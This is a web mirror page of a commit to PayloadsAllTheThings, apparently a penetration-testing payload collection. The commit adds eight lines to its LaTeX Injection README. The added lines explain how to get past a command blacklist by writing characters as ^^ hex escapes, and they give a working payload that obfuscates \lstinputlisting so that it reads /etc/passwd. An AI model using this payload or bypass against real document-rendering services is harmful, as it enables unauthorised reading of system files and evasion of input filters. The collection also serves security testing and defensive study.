ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-19 10:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Merge pull request #695 from hebelsan/patch-1

Browse Source 
latex injection add blacklist bypass
This commit is contained in:
Swissky 2023-11-12 13:15:46 +01:00 committed by GitHub
commit 711b44c6b0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
LaTeX Injection/README.md
View File

@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl} \input{path_to_script.pl}
``` ```
To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
```tex
\lstin^^70utlisting{/etc/passwd}
```
## Write file ## Write file
Write single lined file: Write single lined file: